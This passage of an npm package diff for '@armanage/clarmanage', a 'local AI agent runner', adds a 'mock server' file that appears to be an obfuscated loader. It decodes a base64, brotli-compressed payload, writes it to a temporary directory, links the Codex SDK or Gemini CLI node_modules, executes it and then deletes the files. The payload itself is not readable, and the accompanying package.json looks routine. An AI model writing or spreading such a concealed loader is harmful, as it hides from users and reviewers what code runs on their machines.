3oTb8eThfX4EMPcxxQ="].join("");
|
|
10
|
+
const RUNTIME_PREFIX = "clarmanage-mock-server-";
|
|
11
|
+
const require = createRequire(import.meta.url);
|
|
12
|
+
|
|
13
|
+
const runtimeDirectory = await mkdtemp(path.join(os.tmpdir(), RUNTIME_PREFIX));
|
|
14
|
+
const runtimeEntryPath = path.join(runtimeDirectory, "entry.mjs");
|
|
15
|
+
|
|
16
|
+
try {
|
|
17
|
+
const nodeModulesSource = resolveNodeModulesSource();
|
|
18
|
+
const linkType = process.platform === "win32" ? "junction" : "dir";
|
|
19
|
+
await symlink(nodeModulesSource, path.join(runtimeDirectory, "node_modules"), linkType);
|
|
20
|
+
const payloadSource = brotliDecompressSync(Buffer.from(PAYLOAD, "base64")).toString("utf8");
|
|
21
|
+
await writeFile(runtimeEntryPath, payloadSource, { encoding: "utf8", mode: 0o600 });
|
|
22
|
+
await import(pathToFileURL(runtimeEntryPath).href);
|
|
23
|
+
} finally {
|
|
24
|
+
await rm(runtimeDirectory, { recursive: true, force: true });
|
|
25
|
+
}
|
|
26
|
+
|
|
27
|
+
function resolveNodeModulesSource() {
|
|
28
|
+
for (const request of ["@openai/codex-sdk/package.json", "@google/gemini-cli/package.json"]) {
|
|
29
|
+
try {
|
|
30
|
+
const resolvedPath = require.resolve(request);
|
|
31
|
+
const nodeModulesRoot = findNodeModulesRoot(resolvedPath);
|
|
32
|
+
if (nodeModulesRoot) {
|
|
33
|
+
return nodeModulesRoot;
|
|
34
|
+
}
|
|
35
|
+
} catch {
|
|
36
|
+
// Try the next package marker.
|
|
37
|
+
}
|
|
38
|
+
}
|
|
39
|
+
|
|
40
|
+
const scriptPath = fileURLToPath(import.meta.url);
|
|
41
|
+
let currentDirectory = path.dirname(scriptPath);
|
|
42
|
+
|
|
43
|
+
while (true) {
|
|
44
|
+
const candidate = path.join(currentDirectory, "node_modules");
|
|
45
|
+
if (existsSync(candidate)) {
|
|
46
|
+
return candidate;
|
|
47
|
+
}
|
|
48
|
+
|
|
49
|
+
const parentDirectory = path.dirname(currentDirectory);
|
|
50
|
+
if (parentDirectory === currentDirectory) {
|
|
51
|
+
break;
|
|
52
|
+
}
|
|
53
|
+
|
|
54
|
+
currentDirectory = parentDirectory;
|
|
55
|
+
}
|
|
56
|
+
|
|
57
|
+
throw new Error("Unable to resolve node_modules for clarmanage runtime dependencies.");
|
|
58
|
+
}
|
|
59
|
+
|
|
60
|
+
function findNodeModulesRoot(filePath) {
|
|
61
|
+
let currentDirectory = path.dirname(filePath);
|
|
62
|
+
|
|
63
|
+
while (true) {
|
|
64
|
+
if (path.basename(currentDirectory) === "node_modules") {
|
|
65
|
+
return currentDirectory;
|
|
66
|
+
}
|
|
67
|
+
|
|
68
|
+
const parentDirectory = path.dirname(currentDirectory);
|
|
69
|
+
if (parentDirectory === currentDirectory) {
|
|
70
|
+
return null;
|
|
71
|
+
}
|
|
72
|
+
|
|
73
|
+
currentDirectory = parentDirectory;
|
|
74
|
+
}
|
|
75
|
+
}
|
|
76
|
+
|
package/package.json
ADDED
|
@@ -0,0 +1,46 @@
|
|
|
1
|
+
{
|
|
2
|
+
"name": "@armanage/clarmanage",
|
|
3
|
+
"version": "0.1.0",
|
|
4
|
+
"description": "Local AI agent runner for Armanage",
|
|
5
|
+
"type": "module",
|
|
6
|
+
"bin": {
|
|
7
|
+
"clarmanage": "./dist/clarmanage.js"
|
|
8
|
+
},
|
|
9
|
+
"files": [
|
|
10
|
+
"dist",
|
|
11
|
+
"README.md",
|
|
12
|
+
".env.example"
|
|
13
|
+
],
|
|
14
|
+
"publishConfig": {
|
|
15
|
+
"access": "public"
|
|
16
|
+
},
|
|
17
|
+
"scripts": {
|
|
18
|
+
"typecheck": "tsc --noEmit",
|
|
19
|
+
"build": "npm run typecheck && node ./scripts/build.mjs",
|
|
20
|
+
"prepack": "npm run build",
|
|
21
|
+
"test": "npm run typecheck && tsx --test src/**/*.test.ts",
|
|
22
|
+
"dev": "tsx src/index.ts",
|
|
23
|
+
"clarmanage": "tsx src/index.ts",
|
|
24
|
+
"clarmanage:start": "tsx src/index.ts",
|
|
25
|
+
"clarmanage:add": "tsx src/index.ts agent add",
|
|
26
|
+
"clarmanage:remove": "tsx src/index.ts agent remove",
|
|
27
|
+
"clarmanage:list": "tsx src/index.ts agent list",
|
|
28
|
+
"start": "node dist/clarmanage.js",
|
|
29
|
+
"start:clarmanage": "node dist/clarmanage.js",
|
|
30
|
+
"start:clarmanage:add": "node dist/clarmanage.js agent add",
|
|
31
|
+
"start:clarmanage:remove": "node dist/clarmanage.js agent remove",
|
|
32
|
+
"start:clarmanage:list": "node dist/clarmanage.js agent list",
|
|
33
|
+
"dev:server": "tsx src/mockServer.ts",
|
|
34
|
+
"start:server": "node dist/mockServer.js"
|
|
35
|
+
},
|
|
36
|
+
"devDependencies": {
|
|
37
|
+
"@types/node": "^22.10.2",
|
|
38
|
+
"esbuild": "^0.27.3",
|
|
39
|
+
"tsx": "^4.19.2",
|
|
40
|
+
"typescript": "^5.7.2"
|
|
41
|
+
},
|
|
42
|
+
"dependencies": {
|
|
43
|
+
"@google/gemini-cli": "^0.32.1",
|
|
44
|
+
"@openai/codex-sdk": "^0.98.0"
|
|
45
|
+
}
|
|
46
|
+
}
|